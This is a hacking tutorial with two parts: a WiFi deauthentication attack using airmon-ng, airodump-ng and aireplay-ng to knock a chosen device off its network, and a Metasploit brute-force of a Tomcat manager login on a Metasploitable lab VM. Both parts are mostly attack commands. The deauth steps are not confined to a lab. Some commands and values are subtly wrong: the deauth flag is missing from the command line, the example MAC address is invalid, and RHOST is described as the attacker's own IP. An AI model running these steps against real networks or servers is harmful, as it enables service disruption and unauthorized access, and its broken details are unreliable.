Wifi Deauth Attack

Concept:

*A*ttacker spoofs the victim's mac address (hence pretending to be the victim) in the network and sends the deauth packets to the router or access point, and thereby creating a false scenario showing that the victim is trying to disconnect from that network by sending the deauth packet.

In this way even without knowing that network's password and even without being connected to that network we can disconnect clients/victims from their network and also get the victim to connect to his false network (named the same but plays the evil role).

Steps:

- ➔ Type the command: ifconfig in the terminal to list the network interfaces on the device
- ➔ Check and kill for processes running on the wifi card capable of operating in monitor mode using the command:

airmon-ng check kill

- ➔ Set the wireless network card in monitor mode using the command as follows:

airmon-ng start wlan0

(considering that your wireless interface name is wlan0)

- ➔ Type ifconfig and look out for an interface named wlan0mon which is your wireless card in monitor mode
- ➔ Listen to all the wireless communications in your sorroundings by typing the command:

airodump-ng wlan0mon

- ➔ Identify your target network and note down it's BSSID and also the channel that is being displayed from their corresponding columns

Let's take an example here as BSSID= 00:11:22:66:88:77 and channel=1and name of the wifi network (SSID of the network) as Clone_Wifi.

➔ Now run the same program airodump-ng on your specific network that you want to target (Clone_Wifi) to gather more information of that network like the devices that are connected to it, their MAC addresses, etc.

airodump-ng –bssid 00:11:22:66:88:77 –channel 1 wlan0mon

➔ Note down the MAC address of the device connected to Clone_Wifi that you want to disconnect from the network (Do a little bit of trial and error to find out the exact MAC address of the device out of the many connected)

Let's consider it to be C0:9A:D3:4G:4H:T7

➔ Now type in the command:

aireplay-ng -a 00:11:22:66:88:77 -c C0:9A:D3:4G:4H:T7

(this is our example BSSID and Device Mac address, customize the command according to your need)

-a for bssid of the network

-c for victim MAC address

--deauth 1000 for specifying that we want to send 1000 deauth packets

→the victim will not be able to connect to the network as long as the attack is running ie. the time till deauth packets are being sent by you to the router.

Bruteforcing Tomcat Server Login

Concept:

The login page of the Tomcat server contains two fields taking username and password to login. We will try all the possible combinations of usernames and passwords on that login page and try if we could get the credentials by bruteforcing the login page. We will throw a wordlist file containing all the commonly used usernames and passwords (like admin admin) at the login page from our kali machine and all the possibilities will be checked for automatically.

Steps:

➔ Fire up your Metasploitable Linux Virtual Machine and note down it's ip address

Let's say 192.168.10.4

➔ Now fire up your Kali Linux machine and open terminal
➔ Now you have to scan the Metasploitable Linux Virtual Machine for vulnerabilities using NMAP which is a tool in Kali Linux using the command:

nmap -sV 192.168.10.4

(Input ip address of your Metasploitable Linux VM in place of 192.168.10.4)

-sV for checking open ports to determine the services running on it

➔ Start the postgresql service from your kali linux machine for better performance by typing the command:

service postgresql start

➔ Now open Metasploit by typing msfconsole in the terminal
➔ In order to bruteforce we will be using an auxiliary from Metasploit that goes by the name "auxiliary/scanner/http/tomcat_mgr_login" and can be used by typing the command:

use auxiliary/scanner/http/tomcat_mgr_login

➔ Now your prompt will change to something like

"msf5 auxiliary(scanner/http/tomcat_mgr_login)>"

And signals that now you can use this auxiliary

➔ Type in *show options* now in terminal and all the options that we will be able to customize are displayed. Out of all the options, leaving many to default we will change only the following:

1. *set RHOST 192.168.10.8*
   Here 192.168.10.8 is the ip address of the kali linux machine
2. *set RPORT 8108*
   Here 8108 is the port number that the Tomcat server is running on which you can find from the nmap scan that we performed before
3. *set THREADS 6*

   THREADS decide the speed of bruteforcing so it is always good to set THREADS to more.

➔ Check whether the PASS_FILE is /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt from *show options* command

➔ Now type *run* in the terminal to start the bruteforcing

➔ All the possible combinations will be now tried and if there is a correct hit it will be shown in green

➔ In our case it is username:tomcat and password:tomcat which is the default password of the tomcat server

➔ Now go to the ip address of your Metasploitable Linux Machine from your browser and then go the specific port where the Tomcat server is running

Ip_address_of_Metasploitable:port_no_of_Tomcat_server

Like 192.168.10.8:8108

You will be greeted with the login page of Tomcat server. Type in tomcat in username field and tomcat in the password field also which wil log you in the server.